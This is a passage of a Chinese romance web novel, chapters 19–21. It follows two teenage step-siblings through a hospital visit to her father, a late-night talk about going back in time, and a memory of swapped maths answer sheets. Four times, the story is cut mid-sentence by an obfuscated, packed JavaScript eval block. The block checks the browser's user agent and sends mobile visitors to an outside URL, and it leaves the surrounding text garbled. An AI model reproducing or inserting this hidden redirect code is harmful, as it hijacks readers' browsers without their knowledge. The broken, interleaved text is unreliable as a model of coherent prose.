“嗯!收到你的信息我就出门了,没想到走到半路突然就下雪了,还好我带了伞!” “麻烦你啦。”裴叙说,“电车来了,我们回家!” 始发站的座位有很多,两人找了一排靠窗的座位坐了下来,林予诗依旧坐在窗边的位置。像是一个习惯性的动作一样,林予诗从口袋里拿出了一个有线耳机和一台小随声听。 “你在旧金山过得怎么样?虽然总是在电话里问你的近况,可我还是想在见到你的时候问问你过的怎么样。”边说着话,边把手中的耳机给裴叙递过去,“忘啦?离开长宜这么久,都忘记了坐电车时要一起听歌的惯例啦?” 裴叙笑,眼中含着泪光:“没有忘记。一切都好。” 只是很想你而已。 戴上她递过来的耳机,熟悉的感觉再次席卷他的整个身体。 他没有想到,在他的人生时间轴上,他还能够和她一起坐在有轨电车靠窗的那一排,戴着有线耳机听歌。 Hot summer nights, mid July 仲夏夜茫七月未央 When you and I were forever wild 我们年少轻狂不惧岁月漫长 “你呢,一切都好吧。” “总是会在晚自习下课的时候想起你,不过也算是一切都好。”林予诗说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745871|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只是想给你的打电话,听听你的声音。 可惜,大洋彼岸的电话总是接不通,拨出去的电话很难有回音。一个人孤身在旧金山的裴叙,每天都忙得不可开交。同时还要应付可能会到来的娱乐记者,来询问和他母亲裴清雨有关的事情。 他记得,这一切的一切,都还要从当年数学和作文春令营结束的那个时候说起。 - 数学春令营结束,裴叙拿到了金奖。同时以个人赛、团体赛双第一的好成绩,横扫了整个春令营的排行。 消息一经放出,教育类媒体争相报道。当裴叙的照片出现在报道里之后没过多久,娱乐营销号也开始报道他,说执礼附中校草系数学学霸诞生,简直就是言情小说男主级别的。 可远在沪市的裴叙压根没有管这些,他在颁奖典礼结束后,立即打了一通电话给林予诗。 “恭喜哇!”林予诗说,“我看见学校发的喜报啦!” “你呢?”裴叙的语气里只剩下了关切,丝毫没有对自己获奖这件事的兴奋,“作文比赛成绩出来了没?” “裴叙同学,我们会出现在同一张荣誉榜上的。” 他立即就读懂了她的话:“第一是不是!” “是!”这下,关切的思绪变成了兴奋,一种属于两个人的兴奋。 “你什么时候到长宜呀,我来接你吧!”林予诗说,“我们出去走走,很久没有见面了。” 于是改签了动车的车次,乘最快的一趟车回长宜,只想赶紧见到她,他已经忍不住自己对她的日思夜想了。 动车停靠在长宜的站台之后,裴叙走出车厢而后飞奔向出站口。看见她的那一瞬间,他只想冲上去紧紧地抱住她,说一句好想好想你。 可是理智却在这时占了上风,来自心底的克制告诉他,他不能够这样做,他们之间的关系不应该如此,距离不应该这么的近。于是所有的和拥抱有关的冲动在顷刻间化作了轻轻挥手,他笑着同她说着“好久不见”和“谢谢你来接我”。 不出意料的,她回答说:“因为你是我哥,我来接你很正常的好不好。” 裴叙笑:“想吃什么?我发了奖金,请你!” 林予诗:“我也发了奖金,怎么说,要不我们AA?怎么样。” “那这顿我请,下一顿你请。”裴叙停顿了几秒,“你还生我的气吗?关于那本书。” “我是什么很爱生气的人嘛?”林予诗说,“你告诉了我原因,我早就不生气啦!” “好哦。” 走在傍晚的街道上,吹着初夏时候的晚风,世界好像在一瞬间里慢了下来。 随意聊着天,好像有说不完的话。从电影到音乐,还有学校里发生的大大小小的事情。 电话的来电铃声忽然响起,打断了裴叙和林予诗的聊天。从口袋里拿出手机,林予诗准备接通电话。 是父亲卫海潮的助理小陈打来的。 那时候耳机并没有断联,林予诗按下接通说:“怎么了?陈哥。” 只听见电话那头传来了焦急的声音:“林小姐,卫总突发疾病,人在医院,您有时间吗?” 19.Chapter 19 没超过十五分钟,整个社交媒体上便出现了铺天盖地的热搜,每一个tag都带有“卫海潮”“病危”等词语。 助理小陈开着车,很快就赶到了林予诗和裴叙所在的位置。 看到林予诗旁边站着的裴叙,小陈疑惑:“林小姐,这位是?” 裴叙站在林予诗身后一点点的位置,他用手偷偷扯了扯林予诗的衣角,示意询问自己是否应该先行离开。 林予诗看了一眼裴叙,随后笑着对小陈说:“陈哥,他不是外人,他是……我保镖!” 说着还向后朝裴叙递了一个眼神。 裴叙心领神会,立马配合起来,立正站好。 “您放心陈哥,他不会捣乱的!能带他一起去吗?有什么事情,我还能找他帮我忙跑腿什么的。” “上来吧。”小陈说。 裴叙的戏做的很足,先是帮林予诗开车门,还贴心地伸手防止她碰到头,而后再是在车上问她空调温度怎么样,需不需要喝水之类的。 林予诗不擅长演戏,这会子正在看着车窗外,避免随时可能会出现的尴尬情况。最后实在忍不住了,林予诗打开了备忘录,在手机上敲下了几个字,给裴叙递了过去,就像在选修走班课上递纸条那样。 “很会演啊裴叙同学。” 看见写在备忘录上的电子小纸条,裴叙微微一笑,随后在上面敲下了自己的回复:怎么,不喜欢我这保镖的服务嘛^ ^ 林予诗接过手机,回复说:演得跟真的一样。 裴叙看完她的回复,没有继续写下下一句话,他朝她歪了歪头,做出一副昏昏欲睡的样子,暗示自己想休息一会。 林予诗没放过他,开始施展演技:“一会到了之后,你就跟着我走,别走丢了,听见没?” 记着自己此刻是什么身份,裴叙说:“听见了,好的。” 末了,准备睡去,他在闭眼之前,以林予诗哥哥的身份,在她的耳边轻轻地重新说了一句回答:“不会和你走散的,也不会跟丢你的。” 那时候,林予诗的视线不再继续放向窗外,她闭上了双眼,正躺在靠背上,佯装睡觉。 她不知道,裴叙知道她在假装睡觉。所以那句“不会和你走散的,也不会跟丢你的”在她耳边说出来,是他的故意而为之。 卫海潮被送进至公司附近的一家私立医院。低估了媒体新闻的传播速度,到达医院附近的时候,就看见一大批记者已经把医院门口堵的水泄不通了。 所以只好绕道行驶,从后门附近进入地下车库,而后再从地下车库负一楼那上楼去。 刚进医院大楼,一股刺鼻的消毒水味就出现在了周围。闻着消毒水的味道,跟着小陈和医生一起走到VIP病区。 林予诗忽然陷入紧张,她下意识地将手放进了衣服口袋。 看出了她的紧张,裴叙拍了拍她的肩膀,看向她,像是在说“有我陪着你一起,别害怕”。 病房内暂时不让进去,林予诗只好先坐在病房外的椅子上。 刚想说点什么缓解一下此时的气氛,只见林予诗低下了头,看向了脚下的浅蓝色的地板。 于是裴叙也学着她的动作,看向了浅蓝色的地板。 她用余光看了他一秒,然后开口缓缓说: “从小到大,我对我父亲的印象,可以说是少之又少。拿十个指头去数,完全够用。 “在我很小的时候,他就离开了家,去了旧金山攻读学业。后来,他几乎不回来,只是每个月会往账上打一笔钱。 “但我爸每个月打来的款,都被我妈存了起来。我妈说,她要等他回来,把这些钱原封不动地给他还回去。 “只是他从旧金山回来之后,回家的时间依旧没有变多,经常出差。再到后来没过多久,我妈就和我说,他们离婚了。” 话音落下,林予诗低下头叹气,她为母亲并不算幸福的婚姻感到惋惜。 “只是我没想到,再次见到他,会是在医院里。” 裴叙拧开了一瓶水给她递了过去,现在除了安慰她之外,似乎没有别的事情可以做了。 他停了许久,才缓缓开口,说:“我们每一个人身上,都有很多很多个故事。这些故事呀,就像天上的星星一样多,就像外面此刻落下的细密的大雨一样多。 “如果不是重新回到过去,拥有从前的记忆,那我们永远不会知道,下一秒的故事会是什么,将会有怎样的结局。 “我妈刚离开的那段日子我就在想,要是我能回到过去就好了。我就能提前对她说,让她去医院检查身体,尽管那时候的我还很小很小,是在被大人们称之为‘小孩子什么都不懂’的年纪。 “后来我才明白,原来我爸妈在我出生后没过多久就离了婚,这些年,一直都是形式上的夫妻而已,给家里的长辈做做样子。 “再到后来我才知道,原来那年我妈和我爸结婚,是因为家里的安排,很戏剧化的是,他们俩似乎就像是商业联姻的那种安排。” 窗外正落着大雨,走廊尽头的窗户没有关上,风从缝隙中经过,夹杂着雨滴的淅沥声音,最后停在了他们的身边。 垂落的头发轻轻晃动,影子在浅蓝色的地板上随着风的频率摇晃。 他轻轻的说话,叙述着一段记忆中的故事。 他话音落下,她接话:“我们好像还挺像的。” “怎么说?” “我爸和我妈,也算是这种被安排的关系。”林予诗说,“这也是我后来才知道。” 病房的门被打开,梁医生走了出来。林予诗和裴叙站起身来,说了一句梁医生好。 “情况暂时稳定了下来,今晚我会在这里随时监测卫总的情况。”梁医生说,“林小姐不必担心,有什么问题我会及时通知您。现下,您可以回去休息休息。” “辛苦您了,梁医生。”林予诗说,“我妈她暂时赶不回来,有什么事情,您一定要告知于我。” 梁医生点头:“卫总的事情今天下午已经和林律师说了,林小姐放心。” 最后看了一眼病床上的卫海潮,林予诗和裴叙就离开了医院。 虽然和卫海潮没有什么多的交集,但他总归还是有一个“是她父亲”的身份存在的。 医院的门口依旧有很多记者等在那里,林予诗和裴叙坐着小陈开的车,从后门出了医院。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753990|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于松下了一口气,放下了一颗紧张的心,在走出医院的那一刻,林予诗忽然感觉全身都变得轻松了起来。 手摸了摸自己的肚子,感觉有点饿。恰好想下去走走,不想坐车,林予诗趁着一个等红灯间隙,叫住了小陈:“陈哥,前面的那个转角路口把我们放下吧,我想走回去。” “林小姐,这么晚了,还是我送您回去吧。”小陈说。 “没事。我保镖在旁边,不用担心。”说着,林予诗还拍了拍裴叙的肩膀。 小陈在卫总身边做事多年,林予诗的性子,他多多少少还是知道一点的,她在做决定这件事上总是很果断,从来不会犹豫什么。且她做了决定的事情,任凭旁人再怎么说,都不会改变她的选择。 于是在下一个路口,小陈将车靠边停了下来。他摇下车窗,叮嘱:“到家发信息,我得确认您已经到家。” “好的!” 送走陈哥,林予诗又感觉到了一阵肚子空空的饥饿。她看向身边的裴叙,正好在那一瞬间里看见了他的双眼。 “我想吃点东西。”林予诗说,“你饿不饿呀?想吃点什么?当了我这几个小时的保镖,我请你吃饭!” “你是不是忘了什么?”裴叙说。 林予诗疑惑:“忘了什么?” “忘了今天我刚从沪市回来,拿了竞赛的奖金,说要请你吃饭的这件事。” “噢。”林予诗说,“那今天我来拿奖金请你吧。” “那我的保镖报酬呢。”裴叙开始故意犯贱,语气里全是玩笑的调调。 “你是我哥,才不是保镖。”林予诗接招,学着他的语气说话。 裴叙笑了笑,一副拿她没有办法无可奈何的样子:“好吧。” 就这样继续往前走,走在没有什么人的街道上,才发觉那场雨不知道在什么时候停了下来,才发觉现在已经是半夜两点。 所以在空旷中不自觉地向对方靠近了几分,自然垂下的手,在不经意间悄悄触碰,就像是体会到了初夏的温度。 “你知道我们为什么会成为一家人吗?”林予诗说,“我今天才明白这其中的原因。” “为什么?你说说看。”裴叙说,“看看是不是和我想的一样的。” “因为……”林予诗停顿了一会,“我们都有相似的戏剧性的家庭经历。” 所以命运使然,将我们联系在了一起,让我们出现在了彼此的人生里,但却又让我们在每一个瞬间里无法靠近。 “你知道吗,我们的故事原本毫无关系,以前的我怎么也不会想到,未来的某一天里,我的故事发展,会和一位叫做林予诗的女生,出现有重叠的部分。” “所以,我们现在正在经历着同一段故事,对吧。” “当然。” 街边的小酒馆还在营业,正轻轻地放着歌:“我的心脏脉搏为你跳动为你狂……” 昏黄的灯下,视线在恍然中交错碰撞。他们没有说话,却又在猜着彼此的视线中是不是正在说什么话—— 庆幸,我们不只是在彼此的人生里擦肩而过; 庆幸,这一瞬间里,我在你的身边。 20.Chapter 20 “你相信有一天人可以回到过去吗?” 路边有一家只在凌晨营业的小店,名字叫做“Time rewind”,中文译名为“时间回溯”。老板是一位刚大学毕业的小姐姐,姓韩,大家都叫她韩小姐。 店里的灯不算太亮,整个房间看上去挺昏暗的。书架上摆着纸张早已泛黄的旧书,吧台上只剩下了淡淡的人影在若有似无的摇摇晃晃。 问题悄悄在心中落下,裴叙的频率中重复着林予诗的声音。 “或许有一天,时间线会在一瞬间里重置呢?”说出回答,裴叙顺势看向了林予诗,“也许那时候我们都会忘记曾经那些经历过的记忆,就像是什么都没有发生过一样,人生再来一遍。” “说不定呀,现在的我们,不知道是第几次经历失忆的时间线重置了呢。”很明显,林予诗对裴叙的回答是认可的。 “你怎么突然想问这个问题呀?”出于好奇,裴叙还是把方才在心里想的问题给说了出来。 “没什么,只是我看这家店的名字叫做‘时间回溯’,所以我忽然就想到了这个问题。” 没等裴叙接话,韩小姐就端着餐走了过来,她声音明媚,又如同盛夏里的热浪:“想知道我为什么给这家店取名为‘Time rewind’吗?” “您说说看。” “慢用。”韩小姐从旁边拿了一把小椅子,“不介意我坐在这里吧?” 林予诗说:“不介意。” 韩小姐笑:“那就好。我担心我会打搅了你们的二人世界。” 裴叙解释:“没有,她是我妹妹。” 韩小姐装作“恍然大悟”的样子点头,却在暗光中找不见面前两位年轻人有什么长得相似的地方。 桌子上的烛光正在空气中闪烁,赶在下一位客人到来前,韩小姐讲完了这个故事。如果不是她主动提起,林予诗和裴叙压根就没把她和物理这两个字联系在一起,韩小姐是从执礼大学物理系毕业的。 趁着玻璃杯里的气泡水正在滋滋冒着泡,林予诗看向裴叙说:“如果说,世界上真的有能够让你回到过去的机会,你最想回到什么时候?” 问题出现的那一秒,心里就已经有了确切的答案,于是,他不假思索地回答说:“我会选择,回到一个春天。” “什么时候的春天?” “靠近我十七岁时的春天。” “那不就是今年上半年嘛。”林予诗说,“为什么?” “这不能告诉你,原因我要放在心里。”裴叙说,“如果哪天我们同时回到了过去,而彼此之间不知道,但我又有记忆。说不定,我会在那时候告诉你答案是什么。” “所以说,你打算永远不告诉我,关于你为什么会想回到那个靠近十七岁时的春天的原因?” 难将答案诉诸于口,于是裴叙只好先扯开话题:“那你呢?如果说,你有回到过去的机会,你会选择回到什么时候?” “要是有这种机会,也是要等到我生命即将走到尽头的时候再出现吧!那时候,如果我有选择的机会,我会选择一个记忆中印象最深刻的那一个瞬间,作为我时间线重置的起点。” 玻璃杯中的气泡仍然在慢慢升腾,上浮至表面,而后破裂,带来滋滋的声音。 轻轻拿起玻璃杯,拥挤的冰块发出了清脆的碰撞声。 林予诗很满意自己刚才对他说的那个答案。因为她觉得,只有这样,才不算浪费掉这一次能够重来的机会。 放下玻璃杯,气泡水的味道在身体里蔓延,林予诗看向闪烁的烛光,说:“就算是真的能够回到过去,你说,为什么上天会忽然赋予你这种机会呢?平白无故的吗?可是命运中的礼物,早已经在暗中标记好了价格。” 语文课上的那道引用茨威格的名言作为材料命题的作文题,林予诗一直都记得。 “世界上的一切,都可以找到原因去解释。如果说找不到原因的话,或许是因为爱呢?”裴叙说。 “好吧。”林予诗说,“命运中的礼物有的时候也是无价的。” 时候不算早了,吃完饭,林予诗和裴叙准备离开小店回家。结账时,韩小姐如往常一样询问口味如何。两人一直点头,说有时间会再来一次的。 临走时,林予诗忽然停下了脚步,她被一台小随声听给吸引住了。 于是弯腰拿起货架上的小随声听,林予诗对它“一眼钟情”,当即决定要把它给买下来。 附赠了一副有线耳机,随声听的SD卡里提前存好的那首歌,是孙燕姿的《半句再见》。 恰好此时想听这首歌,于是林予诗直接将那副耳机的包装给拆开了,她顺手将耳机递给了裴叙。 起初,裴叙还以为林予诗是想让他帮她解开耳机。只是还没动手,裴叙就听见林予诗对他说了一句“戴上”。 于是明白了他的意思,裴叙乖乖听话,戴上了右耳的那一只,而后将左耳的那一只,给她递了过去。 前奏在初夏安静的夜晚中响起,宽阔的马路上,除了他们之外,再也没有其他人。就这样慢慢走,慢慢走,不去想明天几点起床,明天要做什么事,只是沉浸在此时此刻的时间里。 也许就在这样的一个瞬间中,不经意间靠近的手不用去刻意地躲开;有线耳机将距离慢慢牵扯靠近,他们在心中不会说那句“只是一起听歌而已”。 “你知道吗,在我真正意义上的认识你之前,有人和我说,你很高冷,生人勿近,不好接触。”林予诗说,“可到后面我才发现,你压根就不是这样的。我好像从来都没有看见过你所谓的那种冰山的感觉。” 是我的错觉吗?林予诗心想,将这句话咽进了身体。 裴叙笑:“我哪有生人勿近的感觉。不过,反正你不觉得我是这样的,不好接触的人就行啦,其他人随便,我不在乎他们会说些什么。” 好像不是错觉。林予诗在心里默默地想。 “不过倒是你,我上高中之后第一次遇见你的时候,我觉得你挺高冷的……” 思绪牵扯回高二春天他们遇见的那个楼梯间,林予诗害羞:“什么高冷啊,分明是狼狈,我也不知道试卷会在楼梯间里洒落……” “不是。”裴叙听完林予诗的话之后笑了,“看来你不记得我们第一次在学校里面遇见是在什么时候了?” “嗯?”林予诗疑惑,她脑海中除了那些单向的和他有关的记忆之外,除了春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773383|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天在楼梯间里正好遇见他之外,她再也想不到会有什么画面和他有关系。 “你好笨。哦不,是记忆力不太好。”本想松开方才在一瞬间里忽然牵起的手,去轻轻地拍拍她的脑袋。可忽然担心松开了手之后,找不到合适的理由去再次十指紧扣,于是便将想要摸摸她脑袋的动作抑制在了心里。 “喂!姓裴的!你再这样说,我就要松开你的手了!” “错了。”裴叙求饶,“真的错了。” “快说。我猜不到。” “高一刚开学的时候,我回到长宜不久。军训那天我迟到了,担心走大门会被教导主任抓,于是我是翻墙走进来的。我跳下来的时候,正好停在了你的面前。当时,你好像还被我吓了一跳,后退了几步。” 听裴叙这么一说,她似乎是有点印象了。记忆像是回到了那个夏天,回到了那个盛夏知了不知道会在什么时候停下、一直在没完没了地鸣叫的瞬间—— “抱歉。”那时候,裴叙一脸尴尬,手不自然地搭在脖子上,忍不住想要后退几步。 她看上去太冷淡了,像是一块永远不会融化的冰山。 可是下一秒,林予诗就打破了裴叙心里的初印象。 “没事。”林予诗边说边从口袋里拿出了一张创可贴,“你脸上怎么了,要不要拿个创可贴?” 后知后觉脸上不知道是在什么地方刮了一下,让自己挂了彩。顺势的,裴叙接过了林予诗递过来的创可贴,“谢谢。” “不用谢。”紧接着,林予诗就往前走了。 短暂的回忆不会占据太久的时间,思绪重新回到高三来临前那年的初夏。 “我也不高冷吧……”林予诗说,“不然,我也不会给你一块创可贴。” “所谓初印象,初印象。”裴叙说,“谁叫你打破初印象来得这么快。” “还不是因为你。我总不能见到你不救啊,对吧。” “是。”裴叙像一只正在摇尾巴的小狗。 “裴叙。”她唤了一遍他的名字,而后看向了他,“我想到这个随身听有什么作用了!” 他问:“不是听歌?” 她回答说:“不只是听歌。这个小随身听有录音的功能。” “总有一天,一些记忆是会被忘记的。有些记忆就算不会被忘记,可到了某一天,终究还是会在我们的脑海中变得模糊起来。”停顿了一下,林予诗组织好语言继续说,“记忆是能够存在于声音里面的,它不会像记忆那样消散不见变得模糊。所以我想,这个随声听就用来录下来我们之间的一些想要被永远记住的瞬间。” 裴叙点头:“好。现在就可以开始了。” 忽然低头,再次注意到牵着的手。林予诗这才意识到,在这短短的十五分钟里,她已经把牵着的手,当作了习惯。 “可是我们不能永远一直牵着手。”林予诗松开他,“我差点忘记了你是我的谁。” 是啊,此时此刻的他们不能牵起彼此的手,就连在月色下偷偷的都不行。 所以她推开了他,拉开了与他的距离,但耳机线依旧在他们之间,没有断开。 这是一个连月色和夜空都不能够知道的秘密。 21.Chapter 21 回想着这些年有哪些能够被称之为“想要永远记住”的记忆碎片,林予诗不免的在心里想到了那些自己看见裴叙的瞬间—— 地点总是在走廊上,或者也可以说总是在教室的窗边。印象里最深的那一次,是在一个刚刚回温的春日下午,那时候,她上高一,还没有过十六岁的生日。 那天,林予诗从办公室问完月考试卷上的数学题回教室。林予诗走在走廊上,脑海中一直在回想着数学老师的那句“我暂时没时间,你可以去你们隔壁班找裴叙问问这道题”。 正想着找个什么样的几乎去隔壁班找裴叙问题,林予诗在思绪飘散的不经意间,发现楼下的樱花盛开了。 于是视线很快就被那粉色给吸引,林予诗走到了走廊边,手搭在栏杆上,看着楼下樱花树花瓣的落下。 只是没站多久,编就感觉到了一阵不知道从哪吹来的风。那风吹的很急很急,吹的头发往一边飘,林予诗赶紧别过了头,试着去背对着风吹来的方向。 就是在这样的一个瞬间,林予诗看见了教室里裴叙。窗户没有关,也就没有隔着一层玻璃,在那一秒钟里,林予诗的眼中只剩下了他的侧脸。 或许那阵风在冥冥之中察觉到了林予诗的思绪,忽然就吹起了裴叙那堆书上摆着的试卷的衣角。紧接着,风变大了一些,直接将他的那张试卷吹出了窗外。林予诗看着那张试卷随着风吹过的轨迹飘呀飘呀,然后慢慢接近走廊的地面,最后稳稳地落在了她的身边。 莫名地抓紧了手中的试卷,看着他那张被风吹落的、上面写着146分的月考数学答题卡,林予诗这时候才知道,原来他就是老师在班上提到的那位名叫做裴叙的数学年级第一。 发现他一直没有抬头,一直在拿着笔写着些什么。林予诗不禁在心里想,他应该是在做数学题吧。或许他的草稿思路非常连贯,可能已经连贯到察觉不到风的经过的那种程度了。 害怕自己打扰到他的思路,林予诗默默捡起了那张数学答题卡。她迈着轻轻的脚步走上前去,靠近他在的那个窗边,将试卷放在了他旁边的窗台上。为了防止试卷再次掉落,林予诗将自己的笔放在了试卷上面,随后快步离开了那个窗台边。 一直走到自己班的后门口,林予诗的心依旧跳得很快,呼吸依旧没有恢复到以往的那种正常频率。 她不知道自己这是怎么了,为什么会在一瞬间里突然出现这样的从未有过的感觉。心烦意乱,推开教室的门,才想起这节课是数学课。 于是赶紧回到后排的座位上,从抽屉里拿出了草稿本。将试卷摆在桌上,翻到了压轴题大题的那一页,准备听课。 却忽然在空白的答题区域上看见了不属于自己的笔迹。 大脑就这样陷入进短暂的空白,林予诗很快就发现发生了什么——刚刚在窗台上放试卷的时候把自己的试卷错放到那了! 本想立即从教室后门口出去,把试卷换回来。没想到,上课铃在她即将起身的那个瞬间响起。数学老师踩着铃声走进了教室,立即说了一句同学们好,便开始了上课。 无奈,已经失去了溜出去的机会,林予诗只好先按耐住了自己那忽然不平静的心,强迫着自己的大脑赶紧去听课,不要去想其他的事情。 不过好在这节课风平浪静,没有发生什么其他的事情。在研究数学压轴题和压轴题变式题中,时间悄悄溜走。 下课铃一响,林予诗便拿着裴叙试卷,立即走出了教室。 裴叙他们班就在隔壁,教室后门到他座位边的窗台没有多远,一共只需要走十步。 这是林予诗最近刻意在心里数过好几遍留意出来的数字。 所以还在教室后门口的时候,她就能够看见他座位旁边的窗台。只是在恍然间,没有发现窗台上有试卷。 于是加紧步伐,默默走了十步,停留在了那里,确认试卷已经不在。抬头看向他的座位,只见上面空无一人。 心脏不知为何在这个时候忽然感觉变得紧张了些许,牵扯着她身体的每一处神经在不停地“跳动”。 试卷上没有写下名字,林予诗在一瞬间里松了一口气。 还好,他不会看见算错的数学题答案。 不知为何,那张107分的答题卡虽说是自己进步的体现,却依旧不想让除了自己之外的任何人看见上面的错题。 好像这是青春期里的一种很常见的自尊心。 罢了。 林予诗将裴叙的数学试卷放在了窗台上,准备转身离开这里,回到自己班的教室。反正答题卡上的错题标注在智学网上面有电子版的,已经写了的部分错题更正的笔记丢了就丢了吧,自己再在试卷上写一遍,就当作是再次复习和检验更正情况了。林予诗想,好在错题笔记写的不算太多,自己不用补太多道题。 两手空空,低着头转身往自己班的教室走。 一步、两步,第十步。 在自己班教室的后门口下意识地抬起了头,看向自己的座位,却忽然在这一瞬间里,看见了自己座位边的窗台上放了两张纸。林予诗走近一看,只看见了一张白纸,白纸上压着她的那支笔。 一种强烈的预感在心中出现,林予诗拿起那支笔,拿起了放在笔下面的那张白纸。 随后,自己的数学答题卡出现在了眼前。 一整节课已经听明白了错题,笔记全部写在了试卷上。于她而言,此刻,这张答题卡已经没有什么用了,她只是想把它拿回来而已,而后把这张答题卡收进自己的试卷袋中。 转身准备回教室,林予诗在抬头的那个瞬间,忽然看见了裴叙的背影。他就在离自己不算太远的地方,大概是十步左右,也就是她们班教室后门到他座位边窗台的那个距离。 只见他拿起了放在窗台上的试卷,林予诗隐隐约约的发现,他的嘴角似乎正在微微上扬。 心脏再次感觉到一阵紧张,林予诗低下头,掩藏着脸上泛上来的温热与绯红,跑回自己班的教室回到了座位上,而后立即将自己的试卷放进了试卷夹的最底层。 她永远不会知道,就在她低头回教室的那个瞬间,裴叙转头看向了她的方向。他知道,她在那,因为他路过了她的身后,就在走廊上,就在方才的那几秒;她永远不会知道,在他靠近她的那几秒,他的心脏因为视线中恍然出现的她的身影而莫名加速了几分,他在那时陷入进了紧张的漩涡,害怕她察觉到些什么暗暗的思绪,想要快步往前走,却又不想打破这十步的距离,想要走慢一点,慢慢的路过…… 一直到上课,裴叙的背影一直都在林予诗的脑海中挥之不去,甚至,她就这样在数学草稿纸上,写下了他的名字。 而且还不止一个。 关于看见他的背影,只记得那是在一个开着樱花的春天,气温刚刚好,不冷不热。 在六点睁眼,林予诗就这样难以再次入睡。 思绪里全是昨晚的梦,她不明白,自己昨晚为何会梦见那天发生的和窗台有关的、和试卷错放有关的事情。 一闭上眼,依旧是他那天在走廊上的背影,只觉得自己周围的空气,好像在一瞬间里忽然就变成了和樱花一样的粉色。 下床,坐到书桌前,林予诗找出了那张曾经被错放过的数学试卷。 只是今天再次打开那张答题卡,林予诗却忽然摸到了她答题卡里面夹着的、另外一张触感相同的纸。 放下自己的答题卡,抽出那张触感一样的纸拿起来一看,那居然是一张有着裴叙字迹的答题卡。上面没有红笔的圈点勾画,没有写分数,只有黑笔写下的工整的答题过程和用蓝笔备注的解题思路与画图。 林予诗脑海中忽然闪过了一瞬他把答题卡放在她课桌边窗台上的想象画面。 原来当时他也递错了答题卡?而且还递错的是他自己写的解析版的。 现在自己将这张答题卡还回去,是不是有点晚了?他也用不着了。 正当她在想怎么解决这张留了这么久的他的答题卡的时候,房间门口忽然传来了一阵敲门声,伴随着裴叙的声音:“醒来了吗?要去上学了。” 看了一眼日历,忽然意识到,深夜漫步在大街上,已经是前天发生的事情了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788030|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那天晚上,自己好像也梦见了他的背影。 林予诗漫不经心地回了一句“马上好”,其实心里全都在想,自己这两天为什么会做同一个和他有关的梦? 背着书包下楼,如往常一样,走在他的身边,两人的步调也在不经意间同步。 夏蝉的声音若有若无,像是在催促着夏天赶紧到来。 走过转角,出租屋所在小巷的转角,林予诗从口袋里拿出了随身听。她把随身听放在了他们的中间,裴叙顺着自己的余光看了过来。 “我要录音啦。”言外之意,我有一个想要留下的瞬间。 裴叙点头说好,随着林予诗一起慢下了步调,他看着她按下了录音。于是故意换了一条安静的、种满香樟树、洒满阳光的路,看手表发现时间还早,索性就再慢了些许。 “这两天我做了一个梦。”林予诗停顿了两秒,“你还记不记得高一那年春天的某一天发生过什么事情?那天,我在走廊上捡到了你的试卷,只是在放回你的试卷的时候,我错将自己的试卷放在了你旁边的窗台上。” “记得。”他怎么不会记得?这是他曾经在梦中见过21次的回忆。 “你是怎么发现那是我的数学答题卡的?我又没写名字。”林予诗说出了那年的疑惑。 “因为……我认识你的字。”回答的语气里似乎有点紧张,裴叙立即接话,像是在解释着什么,“我经常在范文墙上看见你的语文作文部分的答题卡,看得久了,自然也就记住了。” “原来如此。”林予诗说,“你猜我今天在我那张答题卡里面发现了什么?我发现了你的答题卡!你当时一定找了很久很久吧,自己写的笔记忽然丢了,不见了。” “没有。”裴叙说,“那本来就是给你的。” 下意识地以为是自己听错了,于是立即停下了脚步,正好停在了一棵盛大的香樟树下。 心脏像是在听见他说那句“本来就是给你的”的瞬间里漏跳了一拍,林予诗的脑海中浮现着他的字迹。 见到她的反应,裴叙没有犹豫地赶紧解释:“数学老师交代我说,让我找个机会去找找你,和你组成数学学习小组,他说那几天你可能回来找我一起研究数学题。 “那时候,我不知道是否应该去找你,我怕打扰到你,但我又怕你会突然出现,所以我提前准备好了一份解析版的答题卡,只是一不小心,就顺带着夹进了你的答题卡中。” 语言没有组织太久,一连串的解释想到便就直接说了出来。 